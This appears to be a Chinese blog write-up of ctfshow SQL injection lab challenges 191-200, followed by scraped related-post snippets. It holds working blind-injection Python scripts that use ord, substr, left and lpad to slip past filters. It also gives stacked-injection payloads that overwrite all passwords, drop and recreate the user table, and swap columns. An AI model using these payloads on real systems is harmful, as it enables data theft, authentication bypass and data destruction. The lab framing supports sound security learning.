ctfshow学习记录-web入门(sql注入191-200)

2023-10-27

九某人来更新啦:2023年第一篇wp新鲜出炉~


web191

解答:增加了过滤

在这里插入图片描述

过滤了ascii,可以用ord方法代替。(这里手册中也有告知~)

在这里插入图片描述

在这里插入图片描述

web190的payload修改一下。

import requests
import sys
import time

url = "http://60a3f535-f0c5-40d6-9e63-fe058bf95762.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag)
            break
        #payload = "admin'and (ord(substr((select database()),{},1))<{})#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and (ord(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))<{})#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and (ord(substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1))<{})#".format(i,mid)
        #id,f1ag
        payload = "admin'and (ord(substr((select f1ag from ctfshow_fl0g),{},1))<{})#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            max = mid
        else:
            min = mid 

进一步学习

ord()与ascii()的区别:

ORD() 函数返回字符串第一个字符的ASCII 值,如果该字符是一个多字节(即一个或多个字节的序列),则MySQL函数将返回最左边字符的代码。

如果字符不是多字节字符,则ORD()和ASCII()函数返回相似的结果;如果字符是多字节字符,则ASCII()只返回该字符最左侧的一个字节的ASCII值。
如下示例:

SELECT ORD('简');
>>>15183488  # 15183488的十六进制是E7AE80
SELECT ASCII('简');
>>>231      # 231的十六进制是E7

web192

解答
在这里插入图片描述

这里ord、hex都被过滤了,通过转数值的方式不能用了。substr还可以用, 那么直接截取字符判断匹配即可。

import requests
import sys
import time

url = "http://da148d3a-ee33-4c6d-a705-6814e006da74.challenge.ctf.show/api/"

flagstr = "}{abcdefghijklmnopqr-stuvwxyz0123456789_"
flag = ""
for i in range(1,60):
    for mid in flagstr:
        #payload = "admin'and ((substr((select database()),{},1)='{}'))#".format(i,mid)
        #ctfshow_web
        #payload = "admin'and ((substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}'))#".format(i,mid)
        #ctfshow_fl0g
        #payload = "admin'and ((substr((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_fl0g'),{},1)='{}'))#".format(i,mid)
        #id,f1ag
        payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{},1)='{}'))#".format(i,mid)

        data = {
            "username":payload,
            "password":0,
        }
        #{'username': "admin'and ((substr((select f1ag from ctfshow_fl0g),1,1)='O'))#", 'password': 0}
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            flag += mid
            print("++++++++++++++++++++"+flag)
            break

这里其实也可以用二分法,只是从之前的数值比较,换成字符比较而已。
sql大小写不敏感,不过flag本身也都是小写,所以并不影响,结果转成小写字母就可以。
我直接改了一下之前的脚本

import requests
import sys
import time
import string
url = "http://f95ff68a-eb55-4ee3-bb4e-fff30a200cd3.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag.lower())
            break
        payload = "admin'and ((substr((select f1ag from ctfshow_fl0g),{},1)<CHAR({})))#".format(i,mid)
        #print(payload)
        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            max = mid
        else:
            min = mid 

web193

解答
在这里插入图片描述

substr不能用了,但可以用left()或者right()。

left()返回具有指定长度的字符串的左边部分。
left(string,length);

  • length:想要截取的长度

right()返回具有指定长度的字符串的右边部分,用法同上。

import requests
import sys
import time

url = "http://077c3f46-7703-4fa9-8cfb-247c985473b3.challenge.ctf.show/api/"

flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
    for mid in flagstr:
        #payload = "admin'and ((left((select database()),{})='{}'))#".format(i,tempstr+mid)
        #ctfshow_web
        #payload = "admin'and ((left((select group_concat(table_name) from information_schema.tables where table_schema=database()),{})='{}'))#".format(i,tempstr+mid)
        #ctfshow_flxg
        #payload = "admin'and ((left((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{})='{}'))#".format(i,tempstr+mid)
        #id,f1ag
        payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})='{}'))#".format(i,tempstr+mid)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            tempstr += mid
            flag += mid
            print("++++++++++++++++++++"+flag)
            break

二分法依然可行,只是并不是单独的字符比较,是字符串的比较,但原理是一样的。
即:ab=ab,ab<ac,是对字符串不一致的第一字符进行比较。

import requests
import sys
import time
import string
url = "http://fa58a58a-11d4-4c3e-9009-e7a0c53565b8.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag.lower())
            break
        payload = "admin'and ((left((select f1ag from ctfshow_flxg),{})<'{}'))#".format(i,flag+chr(mid))
        #print(payload)
        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            max = mid
        else:
            min = mid 

web194

解答
在这里插入图片描述
left、right、substring、char都不能用了。
找一找其他和截取有关的函数,发现lpad()

在这里插入图片描述

lpad(str,len,padstr)
lpad()函数返回字符串strlen小于字符串长度相当于字符串截取;大于字符串长度,则在左填充用字符串padstr直到达到len字符长度。

在这里插入图片描述

有左填充,一般就是右填充,找到rpad(),用法和lpad()类似。

在这里插入图片描述

这里使用lpad(),它和left()的注入语句类似,只是多了一个填充字符串padstr参数,令其为空即可。

import requests
import sys
import time

url = "http://8be98a09-12b0-4f66-807f-899826d58216.challenge.ctf.show/api/"

flagstr = ",_}{abcdefghijklmnopqr-stuvwxyz0123456789"
tempstr = ""
flag = ""
for i in range(1,60):
    for mid in flagstr:
        #payload = "admin'and ((lpad((select database()),{},'')='{}'))#".format(i,tempstr+mid)
        #ctfshow_web
        #payload = "admin'and ((lpad((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},'')='{}'))#".format(i,tempstr+mid)
        #ctfshow_flxg
        #payload = "admin'and ((lpad((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},'')='{}'))#".format(i,tempstr+mid)
        #id,f1ag
        payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')='{}'))#".format(i,tempstr+mid)

        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            tempstr += mid
            flag += mid
            print("++++++++++++++++++++"+flag)
            break

依然可以用二分法。

import requests
import sys
import time
import string
url = "http://ea0f0b36-e6ff-4074-b475-709facd4ff56.challenge.ctf.show/api/"
flag = ""
for i in range(1,60):
    max = 127
    min = 32
    while 1:
        mid = (max+min)>>1
        if(min == mid):
            flag += chr(mid)
            print(flag.lower())
            break
        payload = "admin'and ((lpad((select f1ag from ctfshow_flxg),{},'')<'{}'))#".format(i,flag+chr(mid))
        print(payload)
        data = {
            "username":payload,
            "password":0,
        }
        res = requests.post(url = url,data =data)
        time.sleep(0.3)
        if res.text.find("8bef")>0:
            max = mid
        else:
            min = mid 

web195

题目:进入堆叠注入部分

在这里插入图片描述

解答:过滤了select,单双引号也被过滤,没有报错提示。

没有过滤分号,考虑堆叠注入。但不能有空格,可以通过反引号包裹表名等信息的方式绕过空格过滤。

根据展示的代码可知,登陆成功就可以获得flag,关键就在于登陆,而且登陆的这个用户他的密码要是数字。

在这里插入图片描述

通过提供的查询语句可以知道表名是ctfshow_user,列名为username和pass。
考虑用update把所有pass改成1。

username=1;update`ctfshow_user`set`pass`=1&password=1
//这里username=1;写成username=0;也可以的,不影响后面update的执行,两条语句都会执行。

在这里插入图片描述

然后username=0&password=1登陆。
(username=0这个做法在web188中有提到,就是匹配所有开头不是数字或者为0的字符串和数字0)

在这里插入图片描述

进一步学习

堆叠注入详解


web196

解答:限制了用户名的长度,不能超过16个字符。密码正确就可以拿到flag

在这里插入图片描述

这道题目的select虽然写的是被过滤了,但是实际并没有被过滤。
(根据群里的反馈,说群主本来是打算把过滤select写成se1ect,但是忘记改了。不过se1ect也并没有被过滤,感觉纯粹就是没有加select的过滤~)

可以用select绕过password的if判断。

判断条件满足的设定是$row[0]==$password$row存储的是结果集中的一行数据,$row[0]就是这一行的第一个数据。
既然可以堆叠注入,就是可以多语句查询,$row应该也会逐一循环获取每个结果集。

那么可以输入username为1;select(9),password为9。当$row获取到第二个查询语句select(9)的结果集时,即可获得$row[0]=9,那么password输入9就可以满足条件判断。

在这里插入图片描述

输入0;select(9)也可以,不影响。

在这里插入图片描述


web197

题目:用户名可以很长
在这里插入图片描述

解答:这次select确实被过滤了。

方法一
利用show。根据题目给的查询语句,可以知道数据库的表名为ctfshow_user,那么可以通过show tables,获取表名的结果集,在这个结果集里定然有一行的数据为ctfshow_user。

用户名:1;show tables
密码:ctfshow_user

在这里插入图片描述

方法二
更新表。过滤了update,但我们可以删表,重新建一个同样表名的表,列名给的查询语句也已经告知,分别是username和pass。

0;drop table ctfshow_user;create table ctfshow_user(`username` varchar(100),`pass` varchar(100));insert ctfshow_user(`username`,`pass`) value(1,1)

这里的意思就是删除以前的表,再自己新建一个并且插入数据:username=1,pass=1

然后直接输入1为用户名和密码,登录即可得到flag。

在这里插入图片描述


web198

题目
在这里插入图片描述

解答

方法一:本题依然可以使用上个题目的方法一show tables

方法二:本题把drop和create都过滤了,不能直接删表重建了。

在已知有一个默认用户名为userAUTO的情况下,这里可以考虑列名互换。
将username和pass互换,这样就可以用userAUTO进行密码登录了。

0;alter table ctfshow_user change `username` `passw` varchar(100);alter table ctfshow_user change `pass` `username` varchar(100);alter table ctfshow_user change `passw` `pass` varchar(100);

最后,用户名为0,密码为userAUTO登陆即可

在这里插入图片描述


web199

题目
在这里插入图片描述

解答

方法一:本题依然可以使用show tables

方法二:本题过滤了括号,限制了之前payload中的varchar(100),可以改为text。

0;alter table ctfshow_user change `username` `passw` text;alter table ctfshow_user change `pass` `username` text;alter table ctfshow_user change `passw` `pass` text;

web200

题目
在这里插入图片描述

解答:增加了逗号的过滤,不影响。web199的两个方法都可以用。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ctfshow学习记录-web入门(sql注入191-200) 的相关文章

  • 在 Django shell 会话期间获取 SQL 查询计数

    有没有办法打印 Django ORM 在 Django shell 会话期间执行的原始 SQL 查询的数量 Django 调试工具栏已经提供了此类信息 例如 5 QUERIES in 5 83MS但如何从 shell 中获取它并不明显 您可
  • MySQL如何根据字段是否存在来插入新记录或更新字段?

    我正在尝试实现一个评级系统 在数据库表中保留以下两个字段 评级 当前评级 num rates 迄今为止提交的评分数量 UPDATE mytable SET rating rating num rates theRating num rate
  • Oracle SQL——从字符串中删除部分重复项

    我有一个表 其中有一列包含字符串 如下所示 static text here 1abcdefg1abcdefgpxq 从这个字符串1abcdefg重复两次 所以我想删除该部分字符串 然后返回 static text here 1abcdef
  • SQL使用多个/相关列计算项目频率?

    我对 SQL 完全陌生 并且阅读了有关 SQL 的 StackOverflow 帖子来尝试弄清楚这一点 以及其他来源 但无法在 SQL 中执行此操作 开始 我有一个 3 列和数千行的表 其中包含前 2 列的数据 第三列当前为空 我需要根据第
  • 仅从数据库获取我想要的数据但保留结构

    我正在尝试在 powerbi 上执行此操作 但我想这只是基本的 SQL 我想将我的数据导入到 powerBi 中 但使用一些 id 对其进行过滤 我们以这个例子为例 我与一些公司有数据库 表1 每个公司都有建筑物 表2 每个建筑物有员工 表
  • 为什么我们不能有多个主键?

    我知道表中不能有超过 1 个主键 但技术原因是什么 直接拉取自SO https stackoverflow com questions 217945 can i have multiple primary keys in a single
  • MySql如何通过过滤多列来限制多个数字?

    我想从数据库中获取 4 个不同类别的 50 个问题 我想要 4 个不同类别中每个类别的不同数量的问题 我的结果集必须包含第一类 12 个问题 第二类 20 个问题 第三类 10 个问题和第四类 8 个问题 我的问题表中总共有 50 个问题
  • 混合语言源目录布局

    我们正在运行一个使用多种不同语言的大型项目 Java Python PHP SQL 和 Perl 到目前为止 人们一直在自己的私有存储库中工作 但现在我们希望将整个项目合并到一个存储库中 现在的问题是 目录结构应该是什么样的 我们应该为每种
  • 按小时拆分日期/时间数据并将日期/时间范围展开为行

    我正在尝试使用 SQL Server 将一系列日期 时间数据扩展为多行 例如 我的数据看起来像 Date StartTime EndTime EmployeeID ShiftType 10 1 2019 8 30 00AM 4 57 00P
  • Postgresql 中的 id 列位置重要吗?

    我正在测试删除主键列 id 的迁移 我想使用外键作为主键 当我运行并恢复迁移时 我看到表的状态是相同的 只是 id 列现在是最后一个 它会以任何方式改变我的数据库的行为吗 我是否应该费心去恢复迁移恢复代码中的列顺序 理论上一切都应该没问题
  • 使用绑定和空值命中 Oracle 索引的最佳查询

    我有一个表 该表在多个列上有一个索引 其中许多列可以为空 CREATE UNIQUE INDEX UX MYTABLE A B C D E ON MYTABLE A B C D E 现在 我在 C 代码中尝试检查该表并精确命中索引 对于每个
  • 在同一个表上组合两个 SQL SELECT 语句

    我想结合这两个 SQL 查询 SELECT FROM Contracts WHERE productType RINsell AND clearTime IS NULL AND holdTime IS NOT NULL ORDER BY g
  • 获取查询的行号

    我有一个查询将返回一行 当表排序时 有什么方法可以找到我正在查询的行的行索引吗 我试过了rowid但当我期待第 7 行时却得到了 582 Eg CategoryID Name I9GDS720K4 CatA LPQTOR25XR CatB
  • 将列的值添加到 LIKE 语句中?

    我有 3 个标签表 标签类别和使用过的标签 我想要获取所有标签的列表以及已使用标签的计数 所使用标签的格式是每个具有标签的文档 ID 的逗号分隔值 我一直在尝试类似的方法 但无法将tags tag 字段的值插入到LIKE 语句中 SELEC
  • SQL 大表中的随机行(使用 where 子句)

    我有一个网站 人们可以在其中对汽车进行投票 向用户展示 4 辆汽车 他 她可以投票选出他们最喜欢的汽车 桌子cars有重要的列 car id int 10 not auto increment so has gaps views int 7
  • Quartz.NET 设置 MisfireInstruction

    我正在使用 Quartz NET 在 C 中工作 并且在 CronTrigger 上设置失火指令时遇到问题 我正在运行安装了 Quartz DB 的 SQL 后端 我有以下代码 可以很好地创建作业和运行调度程序 IScheduler sch
  • 如果执行没有事务的删除语句,是否会删除部分内容?

    如果表myTable包含100000000条记录 我执行DELETE FROM myTable 没有开始交易并且出现问题 例如服务器电源故障 会删除一些记录吗 否 如果数据库引擎符合ACID http en wikipedia org wi
  • SQL Server 相当于 MySQL 的 USING

    在 MySQL 中 当您连接不同表中具有相同名称的列时 可以在连接中使用关键字 USING 例如 这些查询产生相同的结果 SELECT FROM user INNER JOIN perm USING uid SELECT FROM user
  • 消息 102,级别 15,状态 1,第 1 行“ ”附近的语法不正确

    我试图从临时表中查询 但不断收到此消息 Msg 102 Level 15 State 1 Line 1 Incorrect syntax near 有人能告诉我问题是什么吗 是因为要转换吗 查询是 select compid 2 conve
  • 如何在动态查询中将行值连接到列名

    我正在开发一个允许配置问题和答案的应用程序 目前最多可以有 20 个答案 但也可能更少 我的结构如下 问题 ID FormId QuestionText AnswerField 1 1 Name Answer01 2 1 Address A

随机推荐

  • 详细介绍下Rational Rose及其功能与优点

    Rational Rose是一款由IBM公司开发的商业软件工具 主要用于软件建模和设计 它支持多种软件工程方法 如面向对象分析和设计 OOA D 面向过程分析和设计 PPA D 数据流分析和设计 DFD 等 Rational Rose提供了
  • mysql5 存储过程

    MySql5 0以后均支持存储过程 最近有空 研究了一把这个格式 CREATE PROCEDURE 过程名 过程参数 特性 过程体CREATE FUNCTION 函数名 函数参数 RETURNS 返回类型 特性 函数体过程参数 IN OUT
  • UE 虚幻引擎项目启动快捷键

    1 Epic Games Launcher目录下找到UnrealVersionSelector exe 2 将UnrealVersionSelector exe添加到任务栏 鼠标右键点击 可以看到所有打开的UE项目 不限UE版本 鼠标左键点
  • IP反查域名

    IP反查域名 ip反查域名的三种方法 方法有很多 我这边只描述三种 也算是两种 1 在线网站 http stool chinaz com same 2 在线网站 https site ip138 com 3 工具 https github
  • 程序员如何实现财富自由?

    有国外的码农在论坛里提问 为了过上更好的生活我两年前移民到法国后 开始从事前端开发 我的月薪从当时的1 5万涨到现在的1 9万 这样的工资还算可以 但我觉得不够多 我在想为什么所有人都能赚大钱 而我作为码农 实在不知道该如何提高自己的收入
  • 给VMware Workstation 16 Pro中安装的Ubuntu 20.04.3 LTS安装VMware Tools

    安装VMware Tools 点击虚拟机 安装VMware Tools 如果之前安装过 则是 重新安装VMware Tools 之后启动虚拟机 在虚拟机中出现一个DVD光盘 如果没有 则点击虚拟机 可移动设备 CD DVD 设置使用ISO映
  • Linux任务前后台的切换 【转】

    文章来源 Linux任务前后台的切换 Shell支持作用控制 有以下命令实现前后台切换 1 command 让进程在后台运行 2 jobs 查看后台运行的进程 3 fg n 让后台运行的进程n到前台来 4 bg n 让进程n到后台去 5 k
  • 简单HTML网页制作 实例

    HTML网页制作 1 新建文本文档 以 html 结尾 2 用html网页逻辑器打开 这里我们用Sublime Text打开 Tips 使用 Tab 按键 那么就可以自动生成HTML文档模板 推荐大家使用的前端工具有 Vscode hbui
  • Mysql在哪些场景会flush脏页?

    我们在日常使用sql中 查询数据库反映的时间过长 这时候可能是flush脏页导致的 而脏页会什么时候触发呢 当查询的数量太多 每次全量查询都会淘汰掉脏页从而触发磁盘的I O操作户导致查询时间过长 当innoDB的redo log满了后 这时
  • [机器学习与scikit-learn-48]:特征工程-特征选择(降维)-3-初级过滤:方差过滤法

    作者主页 文火冰糖的硅基工坊 文火冰糖 王文兵 的博客 文火冰糖的硅基工坊 CSDN博客 本文网址 https blog csdn net HiWangWenBing article details 123970142 目录 前言 第1章
  • 李宏毅 机器学习笔记 Classification

    1 绪论 Classification Probabilistic Generative Model 本节课讲的是基于概率生成模型的分类 分类任务本质上是找到一个函数 函数的输入是输入数据 输出是类别 应用范围比较广 例如信用卡评分 医学诊
  • C#编程,反射获取命名空间、类名、方法名

    原文 https www cnblogs com xdot p 8651506 html 1 利用反射动态加载dll using System Reflection Assembly asm Assembly LoadFrom AppDom
  • Mac os使用笔记

    说明 mac os版本 10 14 6 论文保存 Safari浏览器再google搜索到论文后 以网页形式打开pdf 将鼠标移动到中间下方位置 会出现四个按钮 点击第三个 以mac自带的软件 预览 打开 然后点击屏幕上方菜单栏的 文件 gt
  • random forest 随机森林(高亮!用于分类) matlab实现

    最近要用到随机森林 于是乎对它的原理了解了一番 并做了一下算法的实现 本次实现是用于分类问题的 如果是回归问题 分裂规则不一样 我还没有实现 下面的原理摘自别人的笔记 如果了解决策树CART的构建规则ID3或者C4 5的话 这部分原理的内容
  • OpenWrt DNS问题排查

    2019独角兽企业重金招聘Python工程师标准 gt gt gt 我们的设备在测试时发现有个别的主机 主程序DNS解释服务器域名失败 最直接的表现就是 ping 126 com 显示 对于这个问题 最直接的方式就是打开 etc resol
  • mysql语句(二)

    MySQL 连接的使用 JOIN 按照功能大致分为如下三类 INNER JOIN 内连接 或等值连接 获取两个表中字段匹配关系的记录 LEFT JOIN 左连接 获取左表所有记录 即使右表没有对应匹配的记录 RIGHT JOIN 右连接 与
  • 【图像融合】融合算法综述(持续更新)

    按时间顺序 综述近5年的融合算法 重点分析了最近两年的work 欢迎留言探讨 文章目录 前言 1 SSR Laplacian Image Fusion 2017 2 FusionGAN 2019 3 MBNet 2020 4 DIDFuse
  • Unity项目架构与开发管理(视频笔记)

    Unity项目架构与开发管理 总的来说标题起的很大 视频比较基础 一 Unity 架构设计 1 EmptyGO EmptyGameObject 创建一个EmptyGameObject 挂一些脚本 主要使用GameObject Find 来控
  • Vue2需要拿到data里面初始化的数据

    在你比如提交提交表单搜索内容的时候呀 需要对数据进行初始化数据 你可以能会这样做 先定一个方法 在执行完一些操作后 就去执行初始化数据的方法 达到数据清空 状态初始化的效果 点击弹出框和点击提交的初始化数据 dialogInitializa
  • ctfshow学习记录-web入门(sql注入191-200)

    目录 web191 web192 web193 web194 web195 web196 web197 web198 web199 web200 九某人来更新啦 2023年第一篇wp新鲜出炉 web191 解答 增加了过滤 过滤了ascii